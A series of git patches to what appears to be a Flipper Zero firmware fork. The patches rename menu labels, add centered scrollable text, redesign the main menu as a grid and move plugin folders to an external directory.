"iButton", [ArchiveFileTypeNFC] = "NFC", - [ArchiveFileTypeSubGhz] = "Sub-GHz", - [ArchiveFileTypeLFRFID] = "125 kHz RFID", + [ArchiveFileTypeSubGhz] = "SubGHz", + [ArchiveFileTypeLFRFID] = "RFID", [ArchiveFileTypeInfrared] = "Infrared", [ArchiveFileTypeBadKb] = "Bad KB", [ArchiveFileTypeU2f] = "U2F", - [ArchiveFileTypeApplication] = "Applications", + [ArchiveFileTypeApplication] = "Apps", [ArchiveFileTypeUpdateManifest] = "UpdaterApp", }; diff --git a/applications/main/fap_loader/application.fam b/applications/main/fap_loader/application.fam index f83f58e68..4f526da1b 100644 --- a/applications/main/fap_loader/application.fam +++ b/applications/main/fap_loader/application.fam @@ -1,6 +1,6 @@ App( appid="fap_loader", - name="Applications", + name="Apps", apptype=FlipperAppType.APP, entry_point="fap_loader_app", cdefines=["APP_FAP_LOADER"], diff --git a/applications/main/lfrfid/application.fam b/applications/main/lfrfid/application.fam index 8fe1bac4d..e84ed2a31 100644 --- a/applications/main/lfrfid/application.fam +++ b/applications/main/lfrfid/application.fam @@ -1,6 +1,6 @@ App( appid="lfrfid", - name="125 kHz RFID", + name="RFID", apptype=FlipperAppType.APP, targets=["f7"], entry_point="lfrfid_app", diff --git a/applications/main/subghz/application.fam b/applications/main/subghz/application.fam index f0dc66e89..51d9cd82a 100644 --- a/applications/main/subghz/application.fam +++ b/applications/main/subghz/application.fam @@ -1,6 +1,6 @@ App( appid="subghz", - name="Sub-GHz", + name="SubGHz", apptype=FlipperAppType.APP, targets=["f7"], entry_point="subghz_app", diff --git a/applications/main/xtreme_app/application.fam b/applications/main/xtreme_app/application.fam index 266350521..1b43f756d 100644 --- a/applications/main/xtreme_app/application.fam +++ b/applications/main/xtreme_app/application.fam @@ -1,6 +1,6 @@ App( appid="xtreme_app", - name="Xtreme Settings", + name="Xtreme", apptype=FlipperAppType.EXTERNAL, entry_point="xtreme_app", cdefines=["APP_XTREME"], diff --git a/applications/services/loader/loader.h b/applications/services/loader/loader.h index 2f8203e98..32eb068e5 100644 --- a/applications/services/loader/loader.h +++ b/applications/services/loader/loader.h @@ -9,7 +9,7 @@ extern "C" { #define RECORD_LOADER "loader" -#define FAP_LOADER_APP_NAME "Applications" +#define FAP_LOADER_APP_NAME "Apps" typedef struct Loader Loader; diff --git a/scripts/runfap.py b/scripts/runfap.py index 410b3e7d2..1d537c58d 100644 --- a/scripts/runfap.py +++ b/scripts/runfap.py @@ -93,7 +93,7 @@ class Main(App): if self.args.launch_app: storage.send_and_wait_eol( - f'loader open "Applications" {fap_dst_path}\r' + f'loader open "Apps" {fap_dst_path}\r' ) result = storage.read.until(storage.CLI_EOL) if len(result): From 9bfcf08b220a05254d771df86d1058cb0e7fbd17 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Tue, 14 Mar 2023 22:10:04 +0000 Subject: [PATCH 086/329] Scrollable text support center alignment --- applications/main/archive/views/archive_browser_view.c | 3 ++- applications/services/gui/elements.c | 9 +++++++-- applications/services/gui/elements.h | 4 +++- applications/services/gui/modules/file_browser.c | 3 ++- firmware/targets/f7/api_symbols.csv | 2 +- 5 files changed, 15 insertions(+), 6 deletions(-) diff --git a/applications/main/archive/views/archive_browser_view.c b/applications/main/archive/views/archive_browser_view.c index 59c20ce6b..994290a3c 100644 --- a/applications/main/archive/views/archive_browser_view.c +++ b/applications/main/archive/views/archive_browser_view.c @@ -300,7 +300,8 @@ static void draw_list(Canvas* canvas, ArchiveBrowserViewModel* model) { ((scrollbar ? MAX_LEN_PX - 6 : MAX_LEN_PX) - x_offset), str_buf, scroll_counter, - (model->item_idx != idx)); + (model->item_idx != idx), + false); furi_string_free(str_buf); } diff --git a/applications/services/gui/elements.c b/applications/services/gui/elements.c index 90682d68e..ae2f54b2c 100644 --- a/applications/services/gui/elements.c +++ b/applications/services/gui/elements.c @@ -580,7 +580,8 @@ void elements_scrollable_text_line( uint8_t width, FuriString* string, size_t scroll, - bool ellipsis) { + bool ellipsis, + bool centered) { FuriString* line = furi_string_alloc_set(string); size_t len_px = canvas_string_width(canvas, furi_string_get_cstr(line)); @@ -616,7 +617,11 @@ void elements_scrollable_text_line( } } - canvas_draw_str(canvas, x, y, furi_string_get_cstr(line)); + if (centered) { + canvas_draw_str_aligned(canvas, x, y, AlignCenter, AlignCenter, furi_string_get_cstr(line)); + } else { + canvas_draw_str(canvas, x, y, furi_string_get_cstr(line)); + } furi_string_free(line); } diff --git a/applications/services/gui/elements.h b/applications/services/gui/elements.h index 04ca357b8..00bffc9a6 100644 --- a/applications/services/gui/elements.h +++ b/applications/services/gui/elements.h @@ -218,6 +218,7 @@ void elements_string_fit_width(Canvas* canvas, FuriString* string, uint8_t width * @param string The string * @param[in] scroll The scroll counter: 0 - no scroll, any other number - scroll. Just count up, everything else will be calculated on the inside. * @param[in] ellipsis The ellipsis flag: true to add ellipse + * @param[in] centered The centered flag: true to center text on x and y */ void elements_scrollable_text_line( Canvas* canvas, @@ -226,7 +227,8 @@ void elements_scrollable_text_line( uint8_t width, FuriString* string, size_t scroll, - bool ellipsis); + bool ellipsis, + bool centered); /** Draw text box element * diff --git a/applications/services/gui/modules/file_browser.c b/applications/services/gui/modules/file_browser.c index 47bf89079..6a87fa0f5 100644 --- a/applications/services/gui/modules/file_browser.c +++ b/applications/services/gui/modules/file_browser.c @@ -604,7 +604,8 @@ static void browser_draw_list(Canvas* canvas, FileBrowserModel* model) { (show_scrollbar ? MAX_LEN_PX - 6 : MAX_LEN_PX), filename, scroll_counter, - (model->item_idx != idx)); + (model->item_idx != idx), + false); } if(show_scrollbar) { diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 6192cafed..477a2ca33 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -831,7 +831,7 @@ Function,+,elements_multiline_text_aligned,void,"Canvas*, uint8_t, uint8_t, Alig Function,+,elements_multiline_text_framed,void,"Canvas*, uint8_t, uint8_t, const char*" Function,+,elements_progress_bar,void,"Canvas*, uint8_t, uint8_t, uint8_t, float" Function,+,elements_progress_bar_with_text,void,"Canvas*, uint8_t, uint8_t, uint8_t, float, const char*" -Function,+,elements_scrollable_text_line,void,"Canvas*, uint8_t, uint8_t, uint8_t, FuriString*, size_t, _Bool" +Function,+,elements_scrollable_text_line,void,"Canvas*, uint8_t, uint8_t, uint8_t, FuriString*, size_t, _Bool, _Bool" Function,+,elements_scrollbar,void,"Canvas*, uint16_t, uint16_t" Function,+,elements_scrollbar_pos,void,"Canvas*, uint8_t, uint8_t, uint8_t, uint16_t, uint16_t" Function,+,elements_slightly_rounded_box,void,"Canvas*, uint8_t, uint8_t, uint8_t, uint8_t" From f1ec78deb3c03a8ab1c27a7a8c6e9222241ab48d Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Tue, 14 Mar 2023 22:11:30 +0000 Subject: [PATCH 087/329] Initial wii ui style main menu --- applications/services/gui/modules/menu.c | 216 +++++++++++++++++------ 1 file changed, 161 insertions(+), 55 deletions(-) diff --git a/applications/services/gui/modules/menu.c b/applications/services/gui/modules/menu.c index 3e3b6c2e4..bdf145bd4 100644 --- a/applications/services/gui/modules/menu.c +++ b/applications/services/gui/modules/menu.c @@ -28,6 +28,8 @@ typedef struct { static void menu_process_up(Menu* menu); static void menu_process_down(Menu* menu); +static void menu_process_left(Menu* menu); +static void menu_process_right(Menu* menu); static void menu_process_ok(Menu* menu); static void menu_draw_callback(Canvas* canvas, void* _model) { @@ -39,34 +41,42 @@ static void menu_draw_callback(Canvas* canvas, void* _model) { size_t items_count = MenuItemArray_size(model->items); if(items_count) { MenuItem* item; + FuriString* name = furi_string_alloc(); size_t shift_position; - // First line + if(position < 2) { + shift_position = 0; + } else if(position >= items_count - 2 + (items_count % 2)) { + shift_position = position - (position % 2) - 4; + } else { + shift_position = position - (position % 2) - 2; + } canvas_set_font(canvas, FontSecondary); - shift_position = (0 + position + items_count - 1) % items_count; - item = MenuItemArray_get(model->items, shift_position); - if(item->icon) { - canvas_draw_icon_animation(canvas, 4, 3, item->icon); + size_t item_i; + size_t x_off, y_off; + for(int i = 0; i < 6; i++) { + item_i = shift_position + i; + if(item_i >= items_count) break; + item = MenuItemArray_get(model->items, item_i); + x_off = (i / 2) * 40 + 5; + y_off = (i % 2) * 32; + if(item->icon) { + canvas_draw_icon_animation(canvas, 11 + x_off, 4 + y_off, item->icon); + } + furi_string_set(name, item->label); + elements_scrollable_text_line( + canvas, + 18 + x_off, + 24 + y_off, + 32, + name, + 0, + false, + true); + if(item_i == position) { + elements_frame(canvas, 0 + x_off, 0 + y_off, 36, 30); + } } - canvas_draw_str(canvas, 22, 14, item->label); - // Second line main - canvas_set_font(canvas, FontPrimary); - shift_position = (1 + position + items_count - 1) % items_count; - item = MenuItemArray_get(model->items, shift_position); - if(item->icon) { - canvas_draw_icon_animation(canvas, 4, 25, item->icon); - } - canvas_draw_str(canvas, 22, 36, item->label); - // Third line - canvas_set_font(canvas, FontSecondary); - shift_position = (2 + position + items_count - 1) % items_count; - item = MenuItemArray_get(model->items, shift_position); - if(item->icon) { - canvas_draw_icon_animation(canvas, 4, 47, item->icon); - } - canvas_draw_str(canvas, 22, 58, item->label); - // Frame and scrollbar - elements_frame(canvas, 0, 21, 128 - 5, 21); - elements_scrollbar(canvas, position, items_count); + furi_string_free(name); } else { canvas_draw_str(canvas, 2, 32, "Empty"); elements_scrollbar(canvas, 0, 0); @@ -78,23 +88,50 @@ static bool menu_input_callback(InputEvent* event, void* context) { bool consumed = false; if(event->type == InputTypeShort) { - if(event->key == InputKeyUp) { - consumed = true; - menu_process_up(menu); - } else if(event->key == InputKeyDown) { - consumed = true; - menu_process_down(menu); - } else if(event->key == InputKeyOk) { - consumed = true; - menu_process_ok(menu); + switch(event->key) { + case InputKeyUp: + consumed = true; + menu_process_up(menu); + break; + case InputKeyDown: + consumed = true; + menu_process_down(menu); + break; + case InputKeyLeft: + consumed = true; + menu_process_left(menu); + break; + case InputKeyRight: + consumed = true; + menu_process_right(menu); + break; + case InputKeyOk: + consumed = true; + menu_process_ok(menu); + break; + default: + break; } } else if(event->type == InputTypeRepeat) { - if(event->key == InputKeyUp) { - consumed = true; - menu_process_up(menu); - } else if(event->key == InputKeyDown) { - consumed = true; - menu_process_down(menu); + switch(event->key) { + case InputKeyUp: + consumed = true; + menu_process_up(menu); + break; + case InputKeyDown: + consumed = true; + menu_process_down(menu); + break; + case InputKeyLeft: + consumed = true; + menu_process_left(menu); + break; + case InputKeyRight: + consumed = true; + menu_process_right(menu); + break; + default: + break; } } @@ -224,26 +261,56 @@ static void menu_process_up(Menu* menu) { menu->view, MenuModel * model, { - MenuItem* item = MenuItemArray_get(model->items, model->position); - if(item && item->icon) { - icon_animation_stop(item->icon); - } + size_t count = MenuItemArray_size(model->items); + if(!(model->position == count - 1 && count % 2)) { + MenuItem* item = MenuItemArray_get(model->items, model->position); + if(item && item->icon) { + icon_animation_stop(item->icon); + } - if(model->position > 0) { - model->position--; - } else { - model->position = MenuItemArray_size(model->items) - 1; - } + if(model->position % 2) { + model->position--; + } else { + model->position++; + } - item = MenuItemArray_get(model->items, model->position); - if(item && item->icon) { - icon_animation_start(item->icon); + item = MenuItemArray_get(model->items, model->position); + if(item && item->icon) { + icon_animation_start(item->icon); + } } }, true); } static void menu_process_down(Menu* menu) { + with_view_model( + menu->view, + MenuModel * model, + { + size_t count = MenuItemArray_size(model->items); + if(!(model->position == count - 1 && count % 2)) { + MenuItem* item = MenuItemArray_get(model->items, model->position); + if(item && item->icon) { + icon_animation_stop(item->icon); + } + + if(model->position % 2) { + model->position--; + } else { + model->position++; + } + + item = MenuItemArray_get(model->items, model->position); + if(item && item->icon) { + icon_animation_start(item->icon); + } + } + }, + true); +} + +static void menu_process_left(Menu* menu) { with_view_model( menu->view, MenuModel * model, @@ -253,10 +320,49 @@ static void menu_process_down(Menu* menu) { icon_animation_stop(item->icon); } - if(model->position < MenuItemArray_size(model->items) - 1) { - model->position++; + size_t count = MenuItemArray_size(model->items); + if(model->position < 2) { + if(count % 2) { + model->position = count - 1; + } else { + model->position = count - 1 + model->position % 2; + } } else { - model->position = 0; + model->position -= 2; + } + + item = MenuItemArray_get(model->items, model->position); + if(item && item->icon) { + icon_animation_start(item->icon); + } + }, + true); +} + +static void menu_process_right(Menu* menu) { + with_view_model( + menu->view, + MenuModel * model, + { + MenuItem* item = MenuItemArray_get(model->items, model->position); + if(item && item->icon) { + icon_animation_stop(item->icon); + } + + size_t count = MenuItemArray_size(model->items); + if(count % 2) { + if(model->position == count - 1) { + model->position = 0; + } else if(model->position == count - 2) { + model->position = count -1; + } else { + model->position += 2; + } + } else { + model->position += 2; + if(model->position >= count) { + model->position = model->position % 2; + } } item = MenuItemArray_get(model->items, model->position); From 8b8b78d0011b7acd2cc1c4a40b0904e52409e6cb Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 14 Mar 2023 20:00:53 +0300 Subject: [PATCH 088/329] Move plugins to external folder --- .gitmodules | 2 +- applications/{plugins => external}/doom/README.md | 0 .../{plugins => external}/doom/application.fam | 0 .../{plugins => external}/doom/assets/door2.png | Bin .../{plugins => external}/doom/assets/door_inv.png | Bin .../{plugins => external}/doom/assets/fire_inv.png | Bin .../doom/assets/fireball_inv.png | Bin .../doom/assets/fireball_mask_inv.png | Bin .../doom/assets/gradient_inv.png | Bin .../{plugins => external}/doom/assets/gun_inv.png | Bin .../doom/assets/gun_mask_inv.png | Bin .../{plugins => external}/doom/assets/imp_inv.png | Bin .../doom/assets/imp_mask_inv.png | Bin .../{plugins => external}/doom/assets/item_inv.png | Bin .../doom/assets/item_mask_inv.png | Bin .../{plugins => external}/doom/assets/logo_inv.png | Bin .../doom/assets/screenshot-imp2.jpg | Bin .../doom/assets/screenshot-intro2.jpg | Bin .../doom/assets/screenshot-medkit2.jpg | Bin .../doom/assets/screenshot-start2.jpg | Bin .../doom/assets/screenshot1.png | Bin .../doom/assets/screenshot2.png | Bin .../doom/assets/screenshot3.png | Bin .../doom/compiled/assets_icons.c | 0 .../doom/compiled/assets_icons.h | 0 applications/{plugins => external}/doom/constants.h | 0 applications/{plugins => external}/doom/display.h | 0 applications/{plugins => external}/doom/doom.c | 0 .../{plugins => external}/doom/doom_10px.png | Bin .../doom/doom_music_player_worker.c | 0 .../doom/doom_music_player_worker.h | 0 applications/{plugins => external}/doom/entities.c | 0 applications/{plugins => external}/doom/entities.h | 0 applications/{plugins => external}/doom/level.h | 0 applications/{plugins => external}/doom/sound.h | 0 applications/{plugins => external}/doom/types.c | 0 applications/{plugins => external}/doom/types.h | 0 .../{plugins => external}/dtmf_dolphin/LICENSE | 0 .../{plugins => external}/dtmf_dolphin/README.md | 0 .../dtmf_dolphin/application.fam | 0 .../dtmf_dolphin/dtmf_dolphin.c | 0 .../dtmf_dolphin/dtmf_dolphin_audio.c | 0 .../dtmf_dolphin/dtmf_dolphin_audio.h | 0 .../dtmf_dolphin/dtmf_dolphin_data.c | 0 .../dtmf_dolphin/dtmf_dolphin_data.h | 0 .../dtmf_dolphin/dtmf_dolphin_event.h | 0 .../dtmf_dolphin/dtmf_dolphin_hal.c | 0 .../dtmf_dolphin/dtmf_dolphin_hal.h | 0 .../dtmf_dolphin/dtmf_dolphin_i.h | 0 .../{plugins => external}/dtmf_dolphin/phone.png | Bin .../dtmf_dolphin/pics/dialer.jpg | Bin .../dtmf_dolphin/scenes/dtmf_dolphin_scene.c | 0 .../dtmf_dolphin/scenes/dtmf_dolphin_scene.h | 0 .../dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h | 0 .../dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c | 0 .../dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c | 0 .../dtmf_dolphin/views/dtmf_dolphin_common.h | 0 .../dtmf_dolphin/views/dtmf_dolphin_dialer.c | 0 .../dtmf_dolphin/views/dtmf_dolphin_dialer.h | 0 .../FlipperZeroWiFiDeauthModuleDefines.h | 0 .../esp8266_deauth/application.fam | 0 .../esp8266_deauth/esp8266_deauth.c | 0 .../esp8266_deauth/wifi_10px.png | Bin .../flappy_bird/application.fam | 0 .../flappy_bird/assets/bird/frame_01.png | Bin .../flappy_bird/assets/bird/frame_02.png | Bin .../flappy_bird/assets/bird/frame_03.png | Bin .../flappy_bird/assets/bird/frame_rate | 0 .../flappy_bird/flappy_10px.png | Bin .../{plugins => external}/flappy_bird/flappy_bird.c | 0 .../{plugins => external}/flipfrid/LICENSE.md | 0 .../{plugins => external}/flipfrid/README.md | 0 .../{plugins => external}/flipfrid/application.fam | 0 .../{plugins => external}/flipfrid/flipfrid.c | 0 .../{plugins => external}/flipfrid/flipfrid.h | 0 .../flipfrid/images/125_10px.png | Bin .../{plugins => external}/flipfrid/rfid_10px.png | Bin .../flipfrid/scene/flipfrid_scene_entrypoint.c | 0 .../flipfrid/scene/flipfrid_scene_entrypoint.h | 0 .../scene/flipfrid_scene_load_custom_uids.c | 0 .../scene/flipfrid_scene_load_custom_uids.h | 0 .../flipfrid/scene/flipfrid_scene_load_file.c | 0 .../flipfrid/scene/flipfrid_scene_load_file.h | 0 .../flipfrid/scene/flipfrid_scene_run_attack.c | 0 .../flipfrid/scene/flipfrid_scene_run_attack.h | 0 .../flipfrid/scene/flipfrid_scene_select_field.c | 0 .../flipfrid/scene/flipfrid_scene_select_field.h | 0 .../flipper_i2ctools/README.md | 0 .../flipper_i2ctools/application.fam | 0 .../flipper_i2ctools/i2cscanner.c | 0 .../flipper_i2ctools/i2cscanner.h | 0 .../flipper_i2ctools/i2csender.c | 0 .../flipper_i2ctools/i2csender.h | 0 .../flipper_i2ctools/i2csniffer.c | 0 .../flipper_i2ctools/i2csniffer.h | 0 .../flipper_i2ctools/i2ctools.c | 0 .../flipper_i2ctools/i2ctools.gif | Bin .../flipper_i2ctools/i2ctools.png | Bin .../flipper_i2ctools/i2ctools_i.h | 0 .../flipper_i2ctools/images/ButtonDown_7x4.png | Bin .../flipper_i2ctools/images/ButtonLeft_4x7.png | Bin .../flipper_i2ctools/images/ButtonRight_4x7.png | Bin .../flipper_i2ctools/images/ButtonUp_7x4.png | Bin .../flipper_i2ctools/images/Ok_btn_9x9.png | Bin .../flipper_i2ctools/images/i2ctools_main_76x59.png | Bin .../flipper_i2ctools/views/main_view.c | 0 .../flipper_i2ctools/views/main_view.h | 0 .../flipper_i2ctools/views/scanner_view.c | 0 .../flipper_i2ctools/views/scanner_view.h | 0 .../flipper_i2ctools/views/sender_view.c | 0 .../flipper_i2ctools/views/sender_view.h | 0 .../flipper_i2ctools/views/sniffer_view.c | 0 .../flipper_i2ctools/views/sniffer_view.h | 0 applications/{plugins => external}/game15/README.md | 0 .../{plugins => external}/game15/application.fam | 0 applications/{plugins => external}/game15/game15.c | 0 .../{plugins => external}/game15/game15_10px.png | Bin .../{plugins => external}/game15/images/Game15.png | Bin .../game15/images/Game15Popup.png | Bin .../game15/images/Game15Restore.png | Bin applications/{plugins => external}/game15/sandbox.c | 0 applications/{plugins => external}/game15/sandbox.h | 0 .../{plugins => external}/game_2048/LICENSE | 0 .../{plugins => external}/game_2048/README.md | 0 .../{plugins => external}/game_2048/application.fam | 0 .../{plugins => external}/game_2048/array_utils.c | 0 .../{plugins => external}/game_2048/array_utils.h | 0 .../{plugins => external}/game_2048/digits.h | 0 .../{plugins => external}/game_2048/game_2048.c | 0 .../{plugins => external}/game_2048/game_2048.png | Bin .../game_2048/images/screenshot1.png | Bin .../game_2048/images/screenshot2.png | Bin .../{plugins => external}/gps_nmea_uart/LICENSE | 0 .../{plugins => external}/gps_nmea_uart/README.md | 0 .../gps_nmea_uart/application.fam | 0 .../{plugins => external}/gps_nmea_uart/gps.c | 0 .../gps_nmea_uart/gps_10px.png | Bin .../{plugins => external}/gps_nmea_uart/gps_uart.c | 0 .../{plugins => external}/gps_nmea_uart/gps_uart.h | 0 .../{plugins => external}/gps_nmea_uart/minmea.c | 0 .../{plugins => external}/gps_nmea_uart/minmea.h | 0 .../{plugins => external}/gps_nmea_uart/ui.png | Bin .../{plugins => external}/gps_nmea_uart/wiring.png | Bin .../{plugins => external}/hc_sr04/application.fam | 0 .../hc_sr04/dist_sensor10px.png | Bin .../{plugins => external}/hc_sr04/hc_sr04.c | 0 .../heap_defence_game/application.fam | 0 .../assets_images/Background_128x64.png | Bin .../heap_defence_game/assets_images/Box1_10x10.png | Bin .../heap_defence_game/assets_images/Box2_10x10.png | Bin .../heap_defence_game/assets_images/Box3_10x10.png | Bin .../heap_defence_game/assets_images/Box4_10x10.png | Bin .../heap_defence_game/assets_images/Box5_10x10.png | Bin .../heap_defence_game/assets_images/Box6p_10x10.png | Bin .../heap_defence_game/assets_images/Box7p_10x10.png | Bin .../heap_defence_game/assets_images/Box8p_10x10.png | Bin .../assets_images/Game_over_128x64.png | Bin .../assets_images/HD_game_over_128x64/frame_01.png | Bin .../assets_images/HD_game_over_128x64/frame_02.png | Bin .../assets_images/HD_game_over_128x64/frame_03.png | Bin .../assets_images/HD_game_over_128x64/frame_04.png | Bin .../assets_images/HD_game_over_128x64/frame_05.png | Bin .../assets_images/HD_game_over_128x64/frame_06.png | Bin .../assets_images/HD_game_over_128x64/frame_07.png | Bin .../assets_images/HD_game_over_128x64/frame_rate | 0 .../HD_person_block_left_10x20/frame_01.png | Bin .../HD_person_block_left_10x20/frame_02.png | Bin .../HD_person_block_left_10x20/frame_rate | 0 .../HD_person_block_right_10x20/frame_01.png | Bin .../HD_person_block_right_10x20/frame_02.png | Bin .../HD_person_block_right_10x20/frame_rate | 0 .../assets_images/HD_person_left_10x20/frame_01.png | Bin .../assets_images/HD_person_left_10x20/frame_02.png | Bin .../assets_images/HD_person_left_10x20/frame_03.png | Bin .../assets_images/HD_person_left_10x20/frame_04.png | Bin .../assets_images/HD_person_left_10x20/frame_rate | 0 .../HD_person_right_10x20/frame_01.png | Bin .../HD_person_right_10x20/frame_02.png | Bin .../HD_person_right_10x20/frame_03.png | Bin .../HD_person_right_10x20/frame_04.png | Bin .../assets_images/HD_person_right_10x20/frame_rate | 0 .../assets_images/HD_start_128x64/frame_01.png | Bin .../assets_images/HD_start_128x64/frame_02.png | Bin .../assets_images/HD_start_128x64/frame_03.png | Bin .../assets_images/HD_start_128x64/frame_04.png | Bin .../assets_images/HD_start_128x64/frame_rate | 0 .../assets_images/Person4_1_10x20.png | Bin .../assets_images/Person4_2_10x20.png | Bin .../assets_images/Person5_1_10x20.png | Bin .../assets_images/Person5_2_10x20.png | Bin .../assets_images/Start_128x64.png | Bin .../{plugins => external}/heap_defence_game/box.png | Bin .../heap_defence_game/heap_defence.c | 0 .../heap_defence_game/hede_assets.c | 0 .../heap_defence_game/hede_assets.h | 0 .../{plugins => external}/hex_viewer/LICENSE | 0 .../hex_viewer/application.fam | 0 .../{plugins => external}/hex_viewer/hex_viewer.c | 0 .../hex_viewer/icons/hex_10px.png | Bin .../{plugins => external}/ibtn_fuzzer/LICENSE.md | 0 .../ibtn_fuzzer/application.fam | 0 .../{plugins => external}/ibtn_fuzzer/ibtnfuzzer.c | 0 .../{plugins => external}/ibtn_fuzzer/ibtnfuzzer.h | 0 .../ibtn_fuzzer/ibutt_10px.png | Bin .../ibtn_fuzzer/images/ibutt_10px.png | Bin .../ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.c | 0 .../ibtn_fuzzer/scene/ibtnfuzzer_scene_entrypoint.h | 0 .../scene/ibtnfuzzer_scene_load_custom_uids.c | 0 .../scene/ibtnfuzzer_scene_load_custom_uids.h | 0 .../ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.c | 0 .../ibtn_fuzzer/scene/ibtnfuzzer_scene_load_file.h | 0 .../ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.c | 0 .../ibtn_fuzzer/scene/ibtnfuzzer_scene_run_attack.h | 0 .../scene/ibtnfuzzer_scene_select_field.c | 0 .../scene/ibtnfuzzer_scene_select_field.h | 0 .../{plugins => external}/lightmeter/LICENSE | 0 .../{plugins => external}/lightmeter/README.md | 0 .../lightmeter/application.fam | 0 .../lightmeter/gui/scenes/config/lightmeter_scene.c | 0 .../lightmeter/gui/scenes/config/lightmeter_scene.h | 0 .../gui/scenes/config/lightmeter_scene_config.h | 0 .../lightmeter/gui/scenes/lightmeter_scene_about.c | 0 .../lightmeter/gui/scenes/lightmeter_scene_config.c | 0 .../lightmeter/gui/scenes/lightmeter_scene_help.c | 0 .../lightmeter/gui/scenes/lightmeter_scene_main.c | 0 .../lightmeter/gui/views/main_view.c | 0 .../lightmeter/gui/views/main_view.h | 0 .../lightmeter/icons/T_10x14.png | Bin .../lightmeter/icons/f_10x14.png | Bin .../lightmeter/lib/BH1750/BH1750.c | 0 .../lightmeter/lib/BH1750/BH1750.h | 0 .../lightmeter/lib/BH1750/LICENSE | 0 .../lightmeter/lib/BH1750/README.md | 0 .../lightmeter/lib/BH1750/docs/BH1750.pdf | Bin .../{plugins => external}/lightmeter/lightmeter.c | 0 .../{plugins => external}/lightmeter/lightmeter.h | 0 .../{plugins => external}/lightmeter/lightmeter.png | Bin .../lightmeter/lightmeter_config.h | 0 .../lightmeter/lightmeter_helper.c | 0 .../lightmeter/lightmeter_helper.h | 0 .../{plugins => external}/metronome/README.md | 0 .../{plugins => external}/metronome/application.fam | 0 .../metronome/gui_extensions.c | 0 .../metronome/gui_extensions.h | 0 .../metronome/images/ButtonUp_7x4.png | Bin .../metronome/img/screenshot.png | Bin .../metronome/img/wave_left_4x14.png | Bin .../metronome/img/wave_right_4x14.png | Bin .../{plugins => external}/metronome/metronome.c | 0 .../metronome/metronome_icon.png | Bin .../{plugins => external}/minesweeper/LICENSE | 0 .../{plugins => external}/minesweeper/README.md | 0 .../minesweeper/application.fam | 0 .../{plugins => external}/minesweeper/assets.h | 0 .../{plugins => external}/minesweeper/assets/asset | 0 .../minesweeper/assets/mockup.png | Bin .../minesweeper/assets/tile_0.png | Bin .../minesweeper/assets/tile_0.xbm | 0 .../minesweeper/assets/tile_1.png | Bin .../minesweeper/assets/tile_1.xbm | 0 .../minesweeper/assets/tile_2.png | Bin .../minesweeper/assets/tile_2.xbm | 0 .../minesweeper/assets/tile_3.png | Bin .../minesweeper/assets/tile_3.xbm | 0 .../minesweeper/assets/tile_4.png | Bin .../minesweeper/assets/tile_4.xbm | 0 .../minesweeper/assets/tile_5.png | Bin .../minesweeper/assets/tile_5.xbm | 0 .../minesweeper/assets/tile_6.png | Bin .../minesweeper/assets/tile_6.xbm | 0 .../minesweeper/assets/tile_7.png | Bin .../minesweeper/assets/tile_7.xbm | 0 .../minesweeper/assets/tile_8.png | Bin .../minesweeper/assets/tile_8.xbm | 0 .../minesweeper/assets/tile_empty.png | Bin .../minesweeper/assets/tile_flag.png | Bin .../minesweeper/assets/tile_flag.xbm | 0 .../minesweeper/assets/tile_mine.png | Bin .../minesweeper/assets/tile_mine.xbm | 0 .../minesweeper/assets/tile_uncleared.png | Bin .../minesweeper/assets/tile_uncleared.xbm | 0 .../minesweeper/img/screenshot.png | Bin .../{plugins => external}/minesweeper/minesweeper.c | 0 .../minesweeper/minesweeper_icon.png | Bin .../morse_code/application.fam | 0 .../{plugins => external}/morse_code/morse_code.c | 0 .../morse_code/morse_code_10px.png | Bin .../morse_code/morse_code_worker.c | 0 .../morse_code/morse_code_worker.h | 0 .../mousejacker/application.fam | 0 .../mousejacker/images/badusb_10px.png | Bin .../mousejacker/images/sub1_10px.png | Bin .../mousejacker/lib/nrf24/nrf24.c | 0 .../mousejacker/lib/nrf24/nrf24.h | 0 .../mousejacker/mouse_10px.png | Bin .../{plugins => external}/mousejacker/mousejacker.c | 0 .../mousejacker/mousejacker_ducky.c | 0 .../mousejacker/mousejacker_ducky.h | 0 .../multi_converter/application.fam | 0 .../multi_converter/converter_10px.png | Bin .../multi_converter/multi_converter.c | 0 .../multi_converter/multi_converter_definitions.h | 0 .../multi_converter/multi_converter_mode_display.c | 0 .../multi_converter/multi_converter_mode_display.h | 0 .../multi_converter/multi_converter_mode_select.c | 0 .../multi_converter/multi_converter_mode_select.h | 0 .../multi_converter/multi_converter_units.c | 0 .../multi_converter/multi_converter_units.h | 0 .../{plugins => external}/nrfsniff/application.fam | 0 .../nrfsniff/lib/nrf24/nrf24.c | 0 .../nrfsniff/lib/nrf24/nrf24.h | 0 .../{plugins => external}/nrfsniff/nrfsniff.c | 0 .../nrfsniff/nrfsniff_10px.png | Bin .../{plugins => external}/playlist/application.fam | 0 .../{plugins => external}/playlist/canvas_helper.c | 0 .../{plugins => external}/playlist/canvas_helper.h | 0 .../playlist/images/ButtonRight_4x7.png | Bin .../playlist/images/sub1_10px.png | Bin .../{plugins => external}/playlist/playlist.c | 0 .../playlist/playlist_10px.png | Bin .../{plugins => external}/playlist/playlist_file.c | 0 .../{plugins => external}/playlist/playlist_file.h | 0 .../pocsag_pager/application.fam | 0 .../pocsag_pager/helpers/pocsag_pager_event.h | 0 .../pocsag_pager/helpers/pocsag_pager_types.h | 0 .../pocsag_pager/images/Lock_7x8.png | Bin .../pocsag_pager/images/Message_8x7.png | Bin .../pocsag_pager/images/Pin_back_arrow_10x8.png | Bin .../pocsag_pager/images/Quest_7x8.png | Bin .../pocsag_pager/images/Scanning_123x52.png | Bin .../pocsag_pager/images/Unlock_7x8.png | Bin .../pocsag_pager/images/WarningDolphin_45x42.png | Bin .../pocsag_pager/pocsag_pager_10px.png | Bin .../pocsag_pager/pocsag_pager_app.c | 0 